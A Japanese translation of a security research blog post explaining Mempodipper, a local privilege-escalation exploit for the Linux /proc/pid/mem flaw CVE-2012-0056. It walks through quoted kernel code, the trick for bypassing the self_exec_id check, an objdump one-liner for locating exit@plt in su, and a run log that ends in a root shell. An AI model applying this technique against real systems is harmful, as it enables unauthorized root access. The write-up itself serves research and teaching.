
Mempodipper の紹介です。CVE-2012-0056 のエクスプロイトです。/proc/pid/mem は、プロセスの仮想メモリ空間と同じアドレスをシークすることで、プロセスメモリを直接読み書きするインターフェースです。2.6.39 では、/proc/pid/mem への不正アクセスに対する保護は十分とみなされ、任意のプロセスメモリへの書き込みを許可する以前の #ifdef が 削除されました。適切な権限を持つ誰もがプロセスメモリに書き込めるようになりました。もちろん、権限チェックは不十分だったことが判明しました。つまり、すべての Linux カーネル >=2.6.39 が脆弱です。数日前の 修正コミット までが対象です。古いカーネルコードを段階的に見て、何が問題なのかを学びましょう。
/proc/pid/mem が開かれると、このカーネルコードが呼び出されます。
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
/* OK to pass negative loff_t, we can catch out-of-range */
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
オープンには制限がありません。誰でも任意のプロセスの /proc/pid/mem fd を開くことができます(通常の VFS 制限は適用されます)。単に、オープン時の元のプロセスの self_exec_id を記録し、後で読み書き時のチェックのために保存します。
ただし、書き込み(および読み取り)には権限チェックの制限があります。書き込み関数を見てみましょう。
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* unimportant code removed for blog post */
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* unimportant code removed for blog post */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* unimportant code removed for blog post */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* unimportant code removed for blog post
* (the function here goes onto write the buffer into the memory)
*/
不正な書き込みを防ぐための関連するチェックが 2 つあります。check_mem_permission と self_exec_id です。最初に最初のもの、次に 2 番目を見ていきましょう。
check_mem_permission のコードは単に __check_mem_permission を呼び出すだけなので、そのコードを示します。
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
/*
* A task can always look at itself, in case it chooses
* to use system calls instead of load instructions.
*/
if (task == current)
return mm;
/*
* If current is actively ptrace'ing, and would also be
* permitted to freshly attach with ptrace now, permit it.
*/
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
/*
* No one else is allowed.
*/
mmput(mm);
return ERR_PTR(-EPERM);
}
メモリ書き込みが許可される方法は 2 つあります。task == current の場合、つまり書き込み先のプロセスが書き込み元のプロセスであるか、または current(書き込み元プロセス)が task(書き込み先プロセス)を操作するための特殊な ptrace レベルの権限を持っている場合です。ptrace コードを騙せると思いませんか?魅力的ですが、私にはわかりません。代わりに、どうすればプロセスに自身への任意のメモリ書き込みをさせられるかを考えましょう。そうすれば task == current になります。
当然、suid プロセス のメモリに書き込みたいと考えます。そうすれば root を取得できます。次の例を見てください。
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy
su は、「Unknown id:」を前に付けて、任意のテキストを stderr に出力します。そこで、/proc/self/mem への fd を開き、適切なメモリ位置に lseek し(詳細は後述)、dup2 を使って stderr と mem fd を結合し、exec で su $shellcode を実行してプロセスメモリにシェル起動コードを書き込み、root を取得します。本当に?そう簡単ではありません。
ここで、もう一つの制限が登場します。task == current テストを通過した後、現在の self_exec_id が fd が開かれたときの self_exec_id と一致するかどうかをチェックします。self_exec_id とは一体何でしょうか?カーネル内では いくつかの場所でのみ参照 されています。最も重要なものは exec 内にあります。
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
/* An exec changes our domain. We are no longer part of the thread
group */
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
プロセスが exec するたびに self_exec_id がインクリメントされます。つまり、この機能により、非 suid プロセスで fd を開き、dup2 してから exec で suid プロセスに切り替えることができなくなります。これはまさに上で試みた方法です。かなり巧妙な攻撃の抑止方法ですね。
これを回避する方法は次のとおりです。子プロセスを fork し、その子プロセス内で 新しいプロセス に exec します。初期の子 fork は親と同じ self_exec_id を持ちます。新しいプロセスに exec すると、self_exec_id が 1 増加します。一方、親プロセス自身はシェルコードを書き込む su プロセスへ exec しているため、その self_exec_id も同じ値に増加します。そこで、子プロセスを fork して新しいプロセスに exec させ、その新しいプロセス内で 自身のプロセスではなく、親プロセスの pid を使って /proc/parent-pid/mem への fd を開く のです(以前の方法とは異なります)。このように fd を開けるのは、単なるオープンには権限チェックがないためです。fd が開かれた時点で、self_exec_id はすでに、親が su に exec するときの値に増加しています。最後に、子プロセスから開いた fd を親プロセスに渡し(非常にブラックな Unix ドメインソケットのマジック を使用)、dup2 を行い、シェルコードと共に su に exec します。
あと一つ課題があります。どこに書き込むかです。書き込み前に適切なメモリ位置に lseek する必要がありますが、ASLR はプロセスのアドレス空間をランダム化するため、書き込み先を知ることは不可能です。プロセスメモリを読み取り、検索を行うためのさらに巧妙な方法を考える時間を費やすべきでしょうか?いいえ、次の点に注目してください。
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
これは、su に再配置可能な .text セクションがないことを意味します(そうでなければ "DYN" と表示されるところです)。ほとんどのディストリビューションの su は PIE(位置独立コード)でコンパイルされていない ことが判明し、バイナリの .text セクションに対する ASLR が無効になっています!そのため、su を賢く選択しました。メモリ内のオフセットは常に同じです。正しい書き込み位置を見つけるために、"Unknown id: blabla" エラーメッセージを出力する周辺のアセンブリを確認しましょう。
エラー文字列を取得する箇所は次のとおりです。
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
そして、それを stderr に書き込みます。
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
ログを閉じます。
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
そして、プログラムを終了します。
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
したがって、呼び出される 0x402178 という exit 関数を使用したいと考えます。エクスプロイトでは、簡単な bash ワンライナーで exit@plt シンボルの検出を自動化できます。
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178
そのため、文字列 "Unknown id: " の文字数分を 0x402178 から引いたアドレスに書き込み、シェルコードが正確に適切な場所に配置されるようにします。
シェルコードはシンプルで標準的なものにすべきです。uid と gid を 0 に設定し、シェルに exec します。より巧妙にするには、メモリ fd を stderr に dup2 する前に、別の fd に stderr を dup しておき、シェルコード内でその別の fd を stderr に dup2 し直すことで、stderr を復元できます。
最終的に、このエクスプロイトは完全な信頼性で動作します。
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#
動作中の ビデオ をご覧いただけます。
Dan Rosenberg の継続的な助言と支援に感謝します。現在、ソースコードは公開していません。Linus が ごく最近 パッチを適用したばかりだからです。適切な期間が経過するか、他の誰かが先に公開した場合に公開します。学習目的の学生や、正当な理由がある方はご連絡ください。
更新: このブログ記事に基づいて、皮肉なことに、他の人々がエクスプロイトを作成して公開したようです。そこで、私のものを公開します。32 ビット および 64 ビット 用のシェルコードは手書きで作成しました。お楽しみください!
更新 2: 判明したことですが、Fedora は su を PIE でコンパイルしており、この攻撃は無効です。残念ながら、すべての SUID バイナリが PIE でコンパイルされているわけではないため、例えば gpasswd などでこの攻撃は依然として可能です。このための コード は git リポジトリの "fedora" ブランチにあり、デモ動画 もご覧いただけます。
更新 3: Gentoo は SUID バイナリの読み取り権限を削除するほど賢く、objdump を使って exit@plt オフセットを見つけることができません。私は ptrace を使った別の方法を考案しました。Ptrace はメモリ内の任意のプログラムのデバッグを可能にします。SUID プログラムの場合、ptracing はその権限をドロップしますが、内部のメモリ位置を見つけたいだけなので問題ありません。適切なタイミングでバイナリのオペコードを解析することで、エラーメッセージ出力後の次の呼び出しのターゲットアドレスを解読できます。オフセットを返す スタンドアロンユーティリティ を作成し、メインの mempodipper ソース にも統合しました。
{いつものように、ここでの作業は厳密に学術的なものであり、研究や教育以外の目的での使用を意図していません。}